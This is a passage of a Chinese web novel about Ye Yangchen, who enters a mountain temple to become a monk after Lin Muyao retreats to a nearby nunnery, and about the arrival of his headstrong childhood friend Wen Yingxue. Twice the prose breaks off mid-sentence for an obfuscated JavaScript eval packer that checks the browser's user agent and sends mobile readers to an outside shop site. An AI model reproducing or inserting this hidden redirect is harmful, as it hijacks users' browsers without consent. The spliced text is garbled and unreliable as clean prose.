叶阳晨不知道德明是怎么看出自己说谎了的,难道得道高僧都有常人不具备的本事?叶阳晨知道自己若是不说实话,方丈肯定不会帮自己剃度了,于是带着无奈,他只好实话实话,“我叫…叶阳晨。” 德明展颜一笑,“原来你是温狐的徒弟。” 本来叶阳晨以为方丈会因为临昌保卫战而知晓自己,又或者是因为父亲叶阳天的威名而听说过自己,可是方丈却提到恩师的名字。 叶阳晨惊讶道:“您认识我的恩师?” 德明凝笑,“二十多年前我们就相识了,那时候还没有你呢。” “你和我师父认识了那么久,我怎么没听师父提起过呢?” “贫僧俗家姓‘韩’,单名一个‘良’字。” 叶阳晨兴奋道:“原来你就是韩伯伯,韩伯伯请见谅,师父经常叫你俗名,故而您说法号的时候我对不上人。” “无妨…无妨。” 叶阳晨在心里犯嘀咕,“为何师父没有说韩良也在赤兰山呢?” 叶阳晨不知,其实温狐之所以没对叶阳晨讲韩良在此地,是因为往事难过,他不忍提起。 德明回过神来,“小晨,你师父知道你要出家的事吗?” “师父不知,是我自己的意思,也请方丈不要告知我的师父。” “你为什么出家?”德明追问着。 叶阳晨毫不隐瞒,“为情所困!” “那你出家为何选择赤兰山这里?” “因为我的心上人也在玉林庵出家。” 听罢,方丈古井无波的脸上突然神色一凝,放佛陷入到往昔的回忆中。他感怀地喃喃自语,“二十年了,想不到同样的一幕又上演了。” 叶阳晨诧异道:“方丈,您说什么?” 方丈回过神,连忙快速扣动念珠,嘴里诚心低声念叨着:“罪过…罪过……” 半晌,方丈才面色重新恢复平静,“玉林庵的静心师太还好吧?” 叶阳晨脱口而出:“只见了一面,还好,还好!”说完,叶阳晨心里犯疑,“听住持话里的意思,好像他与静心是熟识的,只是两人很久没见了。” 不过叶阳晨没有多问,他心里想:“既然静心师太是师父温狐的妹妹,德明方丈又是师父的好友,两人认识也不奇怪。” 住持德明思忖片刻说道:“施主暂且住在寺里,月余之后,如施主仍心定志坚,老衲便不再阻拦施主皈依我佛的宏愿。” 叶阳晨如释重负,“谢师父成全。” 100. 第一百章 诗怡回家后告知父母姐姐在赤兰山上并准备出家,林远峰悲喜交加。喜的是总算找到了女儿,悲的是女儿这次真的就是要往绝路上走。 几天后,林远峰带着众人来到玉林庵,他希望能劝女儿跟自己回家去。事到如今,林远峰认为无论有什么事也好商量,只是不希望女儿走极端。林慕瑶的母亲沈芸在庵门外哭得撕心裂肺,但林慕瑶怎么都不肯出来见一面。 这么多人聚于此也打扰佛门清修,静心师太只好出面好言相劝,让慕瑶的家人尽快离去。最后,林诗怡还是劝父母回西关了,而她自己要继续留在此地劝说姐姐回心转意。 林远峰和沈芸心中有诸多无可奈何,沈芸更是在回家的一路上含泪埋怨丈夫,说要不是他非要逼女儿嫁给卫泽楠,女儿也不会走了绝路。 林远峰板着脸不说话,但他心中很是矛盾,他一直信奉做人就要讲信誉,既然是当年答应了的亲事,就要一诺千金的。林远峰就是想不通,难道这样诚信做人都错了?但事情会发展到今天的地步,他是始料未及的,他只是完全没想到平日看着温柔和顺的大女儿,性格竟如此刚烈。林远峰也有点后悔,早知会是这样的结果,他就不逼女儿了。 林远峰夫妇回到西关道后,卫泽楠便急不可耐地跑过来问:“伯父,慕瑶妹妹她怎么没有回来……”这些天,卫泽楠一直在林家等消息,寸步也不舍得离开。可见到林远峰的表情,他的心凉了半截。果不其然,林远峰摇了摇头,又深深叹了口气。 大厅里,人人脸上挂着愁容,卫泽楠见林远峰一筹莫展,他也跟着慌了。娶到林慕瑶,是卫泽楠梦寐以求的事,只是后来谎言被揭穿,他便以为自己再没机会。可偏偏后面又有了转机,当卫泽楠得知自己跟林慕瑶儿时就订有婚约后,他重燃希望,志在必得。而现在,煮熟的鸭子又要飞了,他是怎么都不甘心的。事情多次反转,可想而知,卫泽楠在失望和希望之间徘徊,心情是怎样的毛焦火燥。 卫泽楠在大厅里焦急地走来走去,突然停下脚步抱怨道:“大家总要想想办法啊!不能就这么等着啊!慕瑶妹妹要是真的出家了可怎么办啊?” 见卫泽楠大吼大叫,沉不住气的样子,沈芸不停地叹气摇头。 沈芸心中感叹:“卫泽楠作为卫忠海的长子,为何一点都没有继承卫家的风骨呢?冲动轻浮不说,还没有半点能力。女儿如果真的嫁给了这样的人,日后的幸福也很难有保障。”相比之下,沈芸不得不承认叶阳晨的气度更像卫忠海。不过卫泽楠毕竟也是子侄,看在卫忠海故去多年的份上,也为了丈夫的颜面,沈夫人也不打算跟卫泽楠计较什么,只说自己身体不舒服就回了卧房。 陈伯安慰着卫泽楠,“少爷,你稍安勿躁,林老爷会为你做主的。” 陈伯的话很让林远峰无奈,事情走到今天这个地步,他也无法再左右女儿的想法,又怎么为卫泽楠做主呢?为难之下,林远峰试着安抚卫泽楠,“贤侄啊,如果…我是说如果啊…如果慕瑶她…要不我再给你找门好亲事?你看……” 话还没说完,卫泽楠连忙打断道:“我谁都不要,只钟情于慕瑶妹妹,这桩婚事是你当初答应我爹的,你们林家不能赖账。” 林远峰不好再说什么,他没想到卫泽楠还是个死心眼的人。看着卫泽楠一副“逼婚”的嘴脸,不是不是看在结拜义兄的份上,林远峰真想将此人轰出府去。 另一边,林诗怡和叶清扬没有在玉林庵周边看到叶阳晨,心里很是担心,两人不知叶阳晨去了哪儿,就只好先在赤兰山脚下的小客栈里住下。 那日晚餐后,两人在客栈外散步,叶清扬忧心道:“诗怡,你说哥哥能去哪儿呢?山上和山下都没有见到他的人影,难道他真的走了?不会回楚州了吧?” 诗怡嘟着嘴,娇媚地瞪了清扬一眼,“你还真是笨,阳晨哥对我姐感情那么深,怎么可能一走了之呢?” 叶清扬的脸突然一阴,“糟了,哥哥不会自尽了吧?” 诗怡翻了个白眼,“你越说越离谱了。” 叶清扬发问:“那他到底能去哪儿呢?” 这些日子,林诗怡也一直在想这个问题,但始终也没想出个结果来。今日被叶清扬这么一连串的追问,她突然眼睛一亮,“我好像猜到阳晨哥去了哪儿了。” “去哪儿了?”叶清扬兴奋问道。 “清扬,你还记得伤情池那里有个岔路吗?往右走便是玉林庵,如果向左走就是叶归寺。” “你是说我哥哥去了那里?问题是我哥去那里干嘛?” 诗怡随手扯下身边灌木的一片叶子,绕着手指玩着,“你真是个猪头,当然是搞不好去出家了。” “啥?”一向比较佛系高冷的叶清扬,一听到哥哥可能出家了,立刻变得不淡定,“不行,我要去拦着我哥。” 林诗怡翻着白眼,“拜托,你看看现在都什么时候了?我们还是明天早上一起去吧。” “来得及吗?”叶清扬实在有些担心哥哥。” “您别急嘛,阳晨哥应该没有那么巧就在明天早上剃度的,我们明天再上山也不迟的。” 听诗怡这么说,清扬才稍稍放下心来。 翌日,两人一早去了叶归寺。昨天诗怡说的时候,叶清扬还有些半信半疑的,没想到到了寺庙,哥哥真的在那里。与林慕瑶不同,叶阳晨出来见了叶清扬和林诗怡,因为他还有些事情要交代。 看着叶阳晨穿着僧袍,头发也是用素色布条简单束着,叶清扬非常不习惯,心里特别不是滋味,“哥,你这是干嘛?跟我回去。即使你劝不动嫂子,也不必如此啊!” “你不必劝了,我不会回去的。”叶阳晨回答得斩钉截铁。 林诗怡翻了个白眼,“阳晨哥,你这是要陪我姐出家啊?你们俩能不能不要都闹小孩子脾气啊?” 叶阳晨一摆手,示意他们俩不要再说下去,“你不了解我就算了,可你连你姐都不了解吗?你觉得你姐这次是在闹小脾气吗?好了,不要多说了,我意已决,除非慕瑶下山,否则我就在这里陪她一辈子了。” 叶清扬和林诗怡都不约而同地叹了口气。清扬头脑简单想得少,可诗怡不明白为何事情发展到越来越也不可收拾的地步。 叶阳晨拍了拍弟弟的肩膀,“清扬,我的事暂时不要告诉父母,那样一定会引起轩然大波。还有就是父母年纪大了,日后你要多替哥哥孝顺他们。” 叶阳天宠着叶阳晨这个儿子,天下谁人不知。即使叶清扬和叶芷萱加在一起,都比不上叶阳晨在叶阳天心中的地位。如果叶阳天知道儿子要出家,肯定带着大队人马赶来,到时候又扰得佛门不得清净。 叶阳晨接着嘱咐道:“还有,也不要告诉朝廷我在这里,以免皇上发雷霆之怒波及他人,就当我这个人失踪了。至于楚州防卫,等我出家后,尊重丁鹏和芷萱的个人意愿,总之他们两人不必再强留在那里了。即使他们走了,也不必担心楚州无人可守,届时朝廷自会派人去接替他们的。就这样吧,其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161446|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情你们做主就好。”说完,叶阳晨转身回了寺院,任叶清扬怎么叫他,他也没有再回头。 林诗怡看着叶清扬道:“我们走吧!” “你走吧,我要在这儿陪我哥。”叶清扬整个人就像失了魂一般,这一次他是真的受了太大的打击。 叶清扬反复在想:“哥哥出家了,往后还怎么陪自己呢?如果日后自己遇到了难事,又能找谁去商量呢?”清扬越想越绝望,好像心里的主心骨没了。 林诗怡无奈地解释道:“我们总要把阳晨哥也要出家的事告诉我姐啊,说不定我姐心一软,就答应还俗了啊!这样两个人就都不用出家了啊。不到最后一刻,我们都不能放弃劝说他们的。” 叶清扬依旧不理会,“你去告诉嫂子就好!我就待在这儿,哪儿也不去。” 诗怡微微噘嘴撒着娇,“可我一个人走山路,我会害怕嘛!” 叶清扬纠结了片刻,才烦躁而失落道:“好吧,那我陪你。” 看着叶清扬一副傻傻呆呆的样子,林诗怡觉得真是又好气又好笑。 两人下山来到伤情池后,然后又取道去了玉林庵。没有任何意外,林慕瑶依然避而不见。 叶清扬无奈问道:“那现在怎么办?” “想办法嘛!这难不倒我的。”林诗怡的性格古灵精怪,脑袋里净是鬼点子。 林诗怡从庵里借来纸笔,只在上面写了几个大字,“绝尘玉林庵,剃发叶归寺。”写完后,林诗怡把信给了庵里的尼姑,让她把信拿去转交给林慕瑶。 清扬不解问道:“你怎么就写了那么几个字?我都不太看得明白,万一你姐姐也不懂怎么办?” “你懂什么,这种事就要隐晦一点,我姐姐才会心乱。” 叶清扬挠了挠头,还是不明白诗怡是什么意思。 林诗怡强忍着笑,一副胸有成竹,大功告成的样子,“好啦,我们走吧!” 清扬发问:“我们不继续等等看吗?” “等什么?” “万一嫂子看了信后,出来找我们呢?” 林诗怡自信地摇着头,“我了解我姐,她骨子里倔强得很,认准的事情不会轻易改变。所以即便她开始后悔了,可能说服自己改变主意也不是立刻马上会发生的事。” 叶清扬心里总是纳闷:“为什么林诗怡满脑子都是鬼主意,而自己就想不到呢?”他甚至觉得这世界没有什么事能难住林诗怡。” 林慕瑶拿到信后本不想看,可忍了一会儿,还是打开了。果然如诗怡所料,慕瑶只看了一眼就不淡定了,她思绪烦乱,心跳也跟着加快,嘴上则低声恨恨地念叨:“真是上辈子欠他的,无论何时都不让我安生。”只是林慕瑶不知道的是,这笔情债不是上辈子欠下的,而是两千年前欠下的。 可转念又一想,林慕瑶犯疑,“这封信会不会是叶阳晨为了让自己还俗骗自己的?”她认为叶阳晨生性活波好动,又喜荤腥,根本受不了出家人的生活。可能是思虑过多,这一夜林慕瑶又失眠了。 第二天,慕瑶很想去叶归寺看个究竟,看看叶阳晨是否真的出家为僧了。可想起自己跟静心师太说过要许心佛门的话,又不好意思出尔反尔。 叶清扬和林诗怡还是隔三差五地上山去看叶阳晨和林慕瑶。 叶清扬很紧张,他是真的怕哥哥真的留在这里,那么往后余生,自己在这个世界上该有多孤单。而林诗怡虽然也担心姐姐,不过以她洒脱的性格,更尊重姐姐的选择。 101. 第一百一章 转眼间,将近一个月过去了,庵里依旧没有给林慕瑶安排剃度。慕瑶倒是去求过静心师太几次,师太都以时机未到拒绝了她。慕瑶有点心急,她以为剃了发就一了百了了,她以为自己没了退路后,心情也就不会再纠结了。 自从静心见过了叶阳晨后,她能看出慕瑶与阳晨是一对有情人,就更不会轻易同意慕瑶出家了。佛门普度众生,不拒向佛有缘人,但也不拆散世间还有情人。 二十年过去了,虽然当年静心师太和心爱的人没有缘分,但她仍然希望红尘里能有更多眷侣相守。 后面,慕瑶也就没有再去找师太提自己入庵为尼的事了,因为她越来越发现自己确实没有慧根,也就羞于再跟师太求情了。 刚刚来这里时,慕瑶希望能立刻斩断三千烦恼丝。可过了这些日子,她不仅对叶阳晨的思念没有减少分毫,甚至更加深了。试问走不出情网的人,又怎么有资格入佛门呢? 年少时还不太懂得那些镌刻在生命里的人,不是说忘记就会忘记的,更不是躲就能躲得掉的。 林慕瑶时常坐在自己的禅房里出神,感叹命运爱捉弄人。那个曾经让她恨透了的人,那个从前不讲卫生,说话粗俗,又不懂得怜香惜玉的男孩,却用真诚、真实、真意敲开了自己的心。林慕瑶曾经多恨叶阳晨,现在就有多“恨”自己,“恨”自己的心里装的都是叶阳晨,还装得满满的,而且无论她怎么努力地想把叶阳晨从自己的心里抹掉拔掉都做不到。 另一边,在叶归寺,叶阳晨不再抱着慕瑶会回心转意的希望,所以他的心绪倒没有那么多起伏。这一个月里,叶阳晨每天都在求方丈为自己剃度。德明方丈实在拿他没办法,只好答应说近期就为他剃度。 剃度的前两天,叶阳晨正在房间打坐,就听见外边传来嘈杂人声。起初叶阳晨并未将外边发生的一切放在心上,他相信即使有外人前来闹事,叶归寺内的武僧也足以平息事端。叶阳晨几次听到一群僧众喊杀冲了过去,而后又没了动静。 此时僧房外边,在寺庙的院子里,横七竖八躺着诸多僧人。那些和尚均未受皮外伤,而是被人用毒药放倒的。 院子空地的中央,站着一个惊鸿绝艳的妙龄少女,她身上的气质与风采甚至令星月失色。女孩穿着淡粉色的衣裙,但浑身上下不带一丝脂粉气,却尽是英姿飒爽。她睫毛甚长,双眼更是灵动非常,犹似一泓清水。仔细看去,女孩眉宇间冷傲十足一抹暖,神色中邪气七成三分怒。 寺院的武僧都不是这个女孩的对手,正在这时,远远走来一个面貌俊俏清秀的小和尚。他双肩宽阔,体型瘦高,看上去他的年龄比姑娘略长。 小和尚礼貌走上前,双手合十,轻轻垂头行礼道:“善哉…善哉,女施主为何如此动怒?” 女孩眼里霜寒,“关你什么事?滚开臭和尚,否则本姑娘对你不客气。” 小和尚面色依旧平静,“敢问姑娘来我寺所为何事?” “我为什么要告诉你这个榆木脑袋?” 小和尚道:“如无要事,还请施主快快离开。佛门乃清修之地,不得搅扰。” 小姑娘眉蹙春山,“刚刚我来你们寺庙,那些守门的臭和尚不分青红皂白就要夺我的剑,现在你又要赶我走,本姑娘骗不走。” “施主请慎言!” “跟你们这些榆木脑袋说话就是对牛弹琴,把你们方丈请出来吧。” 小和尚依旧淡定,“请我师父出来并不难,但还请女施主先设法为我的师兄们解毒。” “不解,就不解,谁让他们不对本姑娘恭敬些呢?这些臭和尚死了才好,他们转世后就可重新学着懂些礼貌。”说完小姑娘便想走。 小和尚快步拦在小姑娘面前,依旧语气温和,“有劳姑娘了,还请快快为我的师兄们解毒。” “你敢拦着本姑娘?”说完,女孩抬腿便踢了过去,小和尚侧身一躲,女孩的脚便落了空。 女孩怒气平生,于是就与那个小和尚过起招来。 打了一会儿,女孩见小和尚武功不俗,自己占不到便宜,便想故技重施,于是她一个空翻凌空跃起,随即黄色的药粉弥散在空中。 小和尚猜测师兄们就是被这种药粉迷倒的,于是闭气掩鼻,防止中毒。 小姑娘并不泄气,她再次从腰间拿出一小包药粉,然后用力向上一跳,随即双臂伸直,身体在空中旋转,药粉环绕她的周身撒出。 小和尚看出女孩的意图,于是屏住呼吸纵身向上一跃,他蹿入空中用左手搂住女孩的腰,右手快速从女孩腰间摸出一个药瓶。小和尚猜测这个药瓶里装着的就是解药。 和尚抱着女孩在天空旋转着,待他们落地后,小和尚才放开女孩。 女孩刚刚被抱了一下,一时心思烦乱。这会儿她缓过神,羞恼的同时,正恶狠狠地盯着小和尚,“死和尚,你刚才敢对本姑娘无礼?我今天定不饶你。” 小和尚双手合十,“姑娘休怪,刚才情急之下冒犯了您,恕罪,恕罪。” 小和尚也顾不上与女孩多理论,急着打开药瓶塞子,将药瓶的瓶口依次凑到被迷晕师兄的鼻子处。少顷,那些被迷晕的僧人有了知觉,有些已经可以撑着坐起来。 女孩从来没受过这等气,更从未与男子有过任何肌肤之亲,一种受辱感油然而生。她心中恶气难消,刚想劈掌打过去,这时一个声音叫住了她,“映雪,不要胡闹。” 女孩觉得叫自己的声音很熟悉,她转身一看就愣在了那里,“晨晨哥,你怎么会在这儿?你怎么还穿着僧袍?” 叶阳晨不知该怎么解释自己这一段经历,只问道:“先不说我,映雪,你怎么来这里了?” 温映雪嘟起嘴,“还不是我爹嘛,说德明住持的息乱症犯了,让我过来送药。” 叶阳晨将温映雪领到了德明住持的禅房,主动介绍道:“师父,这是我师妹温映雪,是温狐师父的女儿。” 德明眯眼慈和一笑,“呦,原来是温兄的掌上明珠。小雪,你的眉眼还真像你的姑姑。” 温映雪俏脸转暖,“我姑姑也这么说过。” 德明好像想到了什么,突然闭上眼睛,嘴里不停地轻声念叨着:“阿弥陀佛…阿弥陀佛……” 半晌,德明住持才又缓缓睁开双眼。 这时,温映雪从荷包里拿出一瓶药,她上前一步,双手拖着递上,“韩伯伯,这药是我父亲让我带来给您的,您早晚各服一粒,息乱症不日即可康复。” 德明住持欣慰之至,“难得我那兄弟还为我的事挂心,前些日子我们通信,我只是在信里提了一句,没想到他就让你千里迢迢地赶来了,真是不好意思。” “韩伯伯,您别这样说,以你与我爹爹多年的情义,理应如此。” 德明瞅着映雪笑了。 说完了药的正事,温映雪开始“报仇”了,没办法,这丫头自小就是从不吃亏的个性。她借机告状道:“韩伯伯,我好心过来给您送药,却被你寺里的小和尚欺负,我好不开心。” 德明住持眉毛一挑,“竟有此事?是哪一个欺负你?” “我也不知道,那个和尚长得瘦瘦高高的。” 德明住持慈祥笑着,“小雪莫急,我一问便知。” 不一会儿,刚刚跟温映雪交了手的所有小和尚都被叫了进来,足足有十几人。 德明徐徐问道:“小雪,那些欺负你的人都在了吗?” “就是他们这些人。” 德明面色平和道:“你们所有人都要跪香。” 这些和尚对住持的处罚当然不满意,但都不敢说什么,只是用眼睛去瞪温映雪。温映雪也不含糊,冷着眼睛瞪回去,露出一副你们能拿我怎么办的气势。 和尚们好奇这个小女孩是什么来头,能让住持如此看重。 叶阳晨刚想为那些和尚说情,德明一摆手,对着那些僧人道:“好了,都下去吧。” 所有和尚正要出门去,映雪斜睨了一眼那个夺了自己解药,又抱了自己的那个小和尚,然后用手一指,“韩伯伯,这个小和尚欺负我最凶,要给他多一些惩罚。” 叶阳晨语气少许严厉,“小雪,差不多就行了。” “差远了呢,惹了本姑娘,我就是让他吃不了兜着走。” 德明语气温和,“其他人都下去,缘空留下。” 待其他僧人鱼贯而出,德明略严厉问道:“缘空,你是否欺负了这位女施主?” 缘空和尚嘴唇翕动,难以企口。 德明微微叹气,“出家人不打诳语。” 缘空肃然,“师父,徒弟知错了。” 德明缓缓道:“这位女施主名叫温映雪,她的父亲温狐是为师的挚友,这次来咱们寺里是给我送治病的药来了。你们不该在没问清楚之前,就欺负一个女孩子,实在有失礼貌。” 这是缘空第一次听到女孩的名字,原来她叫温映雪,他觉得这个名字特别好听。缘空双手合十,冲着温映雪低头赔罪,“刚刚是我莽撞无礼,请施主莫怪。” 温映雪歪着脑袋,咬着唇角,脸上流露出一丝得意。 德明住持温和说道:“罢了,缘空你也去吧,除了跪香外,再罚你抄经三日。” “谢师父!”说完缘空也出去了。 看到缘空被惩罚了,叶阳晨无奈地摇着头。他深知自己的师妹刁蛮任性惯了,加之师父温狐又极其宠爱这个女儿,导致温映雪行事乖张,待人也多冰冷强势。虽然自己的这个师妹“缺点”不少,但叶阳晨最是了解映雪骨子里的热忱善良,所以他也自小总是宠着自己这个师妹,即使她犯了一点小错,叶阳晨也是不忍心责备她的。 叶阳晨来寺里时日不长,且寺里僧徒众多,所以他并不认得缘空,但缘空眉眼清秀疏朗还是给他留下深刻的印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166020|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象。 德明眯眼笑着看向温映雪,“小雪,你父亲身体好吗?” 温映雪乖巧道:“劳韩伯伯惦记,家父身体还好,这次若不是赶上他要闭关,他就来看你了。” 德明笑着摆了摆手,“无妨,你既然来了,就在寺里多住些时日吧。” 温映雪点头答应,然后就跟着叶阳晨出了德明方丈的禅房。 这会儿只剩下他们两人了,映雪急着问道:“晨晨哥,你到底发生了什么?为什么会在这里?还穿成这样?”小时候,映雪第一次见叶阳晨就叫他“晨晨哥”,后来长大了,也没有改过口。这个“晨晨哥”特有的称呼是只属于温映雪的,她就喜欢那样叫叶阳晨。 温映雪平日少语寡言,也从不爱多管闲事,但唯独对叶阳晨的事是个例外。她与叶阳晨是从小一起长大的青梅竹马,感情比亲兄妹还要好,叶阳晨对温映雪的疼爱也丝毫不逊于芷萱。 叶阳晨知道,以温映雪执拗的性子,自己要是不实话实说的话,今天是过不了关的,于是坦白道:“因为所爱之人乱我心,我看开了,看淡了,所以就想在这里出家了。” “所爱之人?就是那个你娶进门的媳妇?” 叶阳晨点点头。 “为了一个女人你就要出家?你有点出息行吗?你还是我的晨晨哥吗?”全天底下,敢这样跟叶阳晨说话的人也只有温映雪这么一个人。 “你这丫头骗子不懂,等你受过情伤后你就明白了。” 温映雪双眸紧紧盯着叶阳晨,心里感伤地嘟囔着:“你怎么知道我没受过情伤?”她整理了一下自己的情绪,这才问道:“我只问你,关于出家一事你可是当真的?”如果不问清楚了,映雪几乎以为自己幻听了。 “我说话很不算数吗?我会拿这种事情与你玩笑吗?” 温映雪觉得心酸,“晨晨哥,你就那么喜欢那个叫林慕瑶的女孩?她真的就那么好?” “你别一口一个林慕瑶的,她是你嫂子。” 映雪丝毫不给叶阳晨面子,“你管不着我怎么叫,如果她想让我叫她一声嫂子,不是靠你说清,而是要靠她自己的本事去挣来。”映雪就是这样的性格,她不认可的人,别人怎么说都没用。她认可的人即使全天下都不喜欢,她也会不离不弃。 叶阳晨不敢强迫映雪,他见了她就完全没脾气了。 温映雪追问道:“你还没回答我,她就那么好?” 叶阳晨点点头,“她是很好,有朝一日你与她相处就会发现她的号了。当然感情的事也仅仅不是好与不好的问题,而是我和她的缘分吧。这份缘可能前世就注定了,今生遇见了才会剪不断理还乱。再加上我和慕瑶又拜过堂,算是我真正的妻子,所以我才更是忘不了。” 叶阳晨把林慕瑶抢上山拜堂的那一年,温映雪年纪尚小。但即使这样,当她听说叶阳晨有了新娘,她还是偷偷哭了几次鼻子,就连叶阳晨的婚礼她气得也没有去参加,之后那两年她也没有像往年一样去泽清山玩。 那时候,年幼的温映雪还不知道成亲意味着什么,但她听大人说过,只有成亲的两个人才会永远在一起。温映雪难过的点就是如此,她觉得自己不能永远跟她的晨晨哥在一起了,而陪着她晨晨哥永远的是另外一个女孩。 后面叶阳晨去看师父温狐,温映雪都气得不理她。过了那么多年,温映雪也长大了,对于“叶阳晨已经有了妻子”这件事也释怀了很多,只是前些年听叶芷萱说林慕瑶对她的晨晨哥并没有很好,她才又开始耿耿于怀。映雪很替叶阳晨不值得,她想不明白的是,晨晨哥那么好,为何林慕瑶不珍惜。从那时起,温映雪对林慕瑶就更没什么好感了。 想来,温映雪也有近两年没有见到叶阳晨了,这次两人再见面竟然是在叶归寺,而叶阳晨现在竟然为了林慕瑶要出家做和尚,这再次加深了映雪对林慕瑶的敌意。 过了良久,温映雪缓缓说道:“哥,你变得我都快不认识了,从前你豪气干云、狂放不羁,为何偏偏对感情的事如此隐忍纠结啊?真是拿不起放不下的,讨厌你,很讨厌你。” 叶阳晨笑容宠溺,“你这丫头还小,以后你遇到了喜欢的人,你就知道了。” 温映雪微微噘嘴,“我才不会像你这么没出息呢。” 叶阳晨不与她争辩,“小雪,过几日你就下山去吧,代我问师父好。” “晨晨哥,我再问你一遍,你真的要在这里出家?”问出这句话时,映雪隐忍着心中的悲伤和难过,她是那么不想不愿不甘自己最在乎的人是这样的结局。有些情绪,映雪只能偷偷藏着,只能在夜深人静的时候告与星星月亮知道罢了。 叶阳晨语气一顿,“是的,德明方丈已经答应收留我了,三日后就要为我剃度了。” 温映雪的心狠狠地抽痛了一下,“那我就在这里陪你几日吧,等你诸事皆定后,我再离开不迟。” 102. 第一百二章 其实,温映雪这次出来也不只是给德明住持送药,她原打算送完药后就去楚州助叶阳晨抗敌,不想她与她的晨晨哥却在这里遇到了。 自从国内战事一起,温映雪便想去楚州了,她在家央求了爹爹许久,温狐才同意她出来。战场凶险万分,映雪生怕叶阳晨有任何闪失和意外,她要助她的晨晨哥一臂之力。只不过随着叶阳晨出家一事,温映雪那个陪伴叶阳晨征战南北的愿望落了空。 叶阳晨还想再劝温映雪几句,可刚要开口,温映雪打断道:“你不要啰嗦了,你再啰嗦我就把这个寺庙烧了,到时候看你在哪儿出家。”叶阳晨不敢再多言,他知道惹急了温映雪,她是真的能干出这些事的,她的这个妹妹生起气来比自己还疯。 温映雪心里哽得难受,她也不想与叶阳晨再说下去了。说完这句警告的话,映雪转身离开。 映雪刚刚走到寺门口,正巧遇到了来寺里的叶清扬与林诗怡。 “小雪?”清扬充满惊喜和意外,“你怎么在这儿?” “我怎么就不能在这儿?” 叶清扬不知为何小雪的气这么不顺,他神色略微尴尬,“我哪是那个意思,我只是看见你高兴。”叶清扬是那么桀骜不驯、狂傲不羁之人,见到了温映雪就像是避猫鼠一般,甚至连一句话都不敢说。 温映雪蛾眉一挑,“清扬哥,这位是?” 还未等叶清扬说话,林诗怡主动热情道:“你好,我叫林诗怡,是林慕瑶的妹妹,你是?” 一听是林慕瑶的妹妹,温映雪冷哼一声,“我问你了吗?用你介绍自己吗?”她上下打量了林诗怡几眼,隐约猜出林诗怡和叶清扬的关系。 诗怡心头觉得憋闷和委屈,她从未见过这么盛气凌人的女孩,说话行事完全不给人留面子。一向伶牙俐齿的诗怡今日也不知是怎么了,面对温映雪俏脸寒霜,她竟一句话说不出来。 温映雪看向叶清扬冷笑道:“清扬哥,怎么?你也有喜欢的人了?” 叶清扬垂下头,算是默认。 温映雪又瞟了一眼诗怡,带着一丝不屑,“林家的人我看着就讨厌。”说完,映雪头也不回就走了。 映雪的话深深刺痛了诗怡,她不知自己怎么招惹了这个女孩,令这个女孩这么讨厌林家,讨厌自己。 叶清扬在身后叫道:“映雪,你去哪儿?”温映雪依旧头也不回。 见映雪走了,叶清扬眉头微皱,他不知映雪为何对诗怡有些敌意,他本想多说几句的,可是面对怒气满满的温映雪,他却不知该如何开口。 林诗怡毕竟出身书香世家,身上自然多了些天真烂漫,少了点江湖豪气。她看向叶清扬,“那个女孩是谁啊?为什么这么不礼貌?”林诗怡心里奇怪,叶清扬那么傲气的一个人,待人很少假以辞色,却偏偏对这个女孩很迁就。 叶清扬解释着,“她叫温映雪,她的父亲是我哥哥的师父,所以她也算是我的妹妹。我和我哥我姐,还有映雪,我们四人是从小一起长大的,小的时候总在一起玩。映雪年纪最小,是我们三人的小妹妹,不止我迁就她,芷萱让着她,就是我哥哥也宠着她,疼着她,甚至有时待小雪比芷萱和我还要好。” 诗怡这才明白过来为何温映雪那么刁蛮任性,原来她的来头那么大。诗怡是了解叶阳晨他们兄妹三人的脾气个性的,能让这三个傲气之人都那么迁就着,想来温映雪是极其不简单的。女孩子总有些嫉妒心的,何况诗怡的气还没有完全消,“你好像也有点怕她?” 叶清扬挠挠头,“是怕…但也不全是怕,只是小时候养成了宠她的习惯,长大了也再难改了。其实不仅我怕,我姐性格那么强势,也都不敢惹映雪这丫头的。不过你别看小雪有时很凶,但她是典型的外冷内热,其实她是个特别好的姑娘,好到比爷们还仗义。你要跟小雪相处久了,就会懂她的好了。” 诗怡一听清扬的话就差点吐血,哪有那样夸人的?把女孩和爷们一起比。不过诗怡还是第一次听到清扬对一个人的评价这么高,而且还是个女孩,不由得有点吃醋。林诗怡又一想到自己刚刚认识清扬的时候,清扬不是凶自己,就是对自己爱答不理的,心里就更加嫉妒映雪。 不过这些小女孩心里的感觉即使告诉清扬,清扬那么笨也不会懂的,诗怡索性就什么都不说了,只是眼含爱意地瞪了叶清扬一眼,然后就跨步进了寺门。 两人走进寺中,从一个小和尚口中得知德明方丈三日后就要给叶阳晨剃度了。 这一次,林诗怡心里也不淡定了,她还以为会有转机呢。如果说之前叶阳晨要出家还只是说说而已,那么现在已经几乎板上钉钉了。 林诗怡想着一定要尽快把这个消息告诉姐姐,以免留下终身遗憾。 诗怡和清扬又快步迈出寺院,清扬又看见了坐在远处大石头上的映雪,他看向诗怡,“你稍等我一会儿。” 诗怡心里虽然不太自在,但也没有阻拦,“你去吧,我可不是那么小气的人。” 叶清扬走过去坐在了温映雪的身旁,他试探问道:“你好像对诗怡有很大的敌意啊?” “不是好像,就是有敌意。” 清扬为难道:“为什么啊?” 温映雪翻着白眼,“你是猪吗?还真是又笨又蠢。要不是她的姐姐,晨晨哥怎么会出家?” 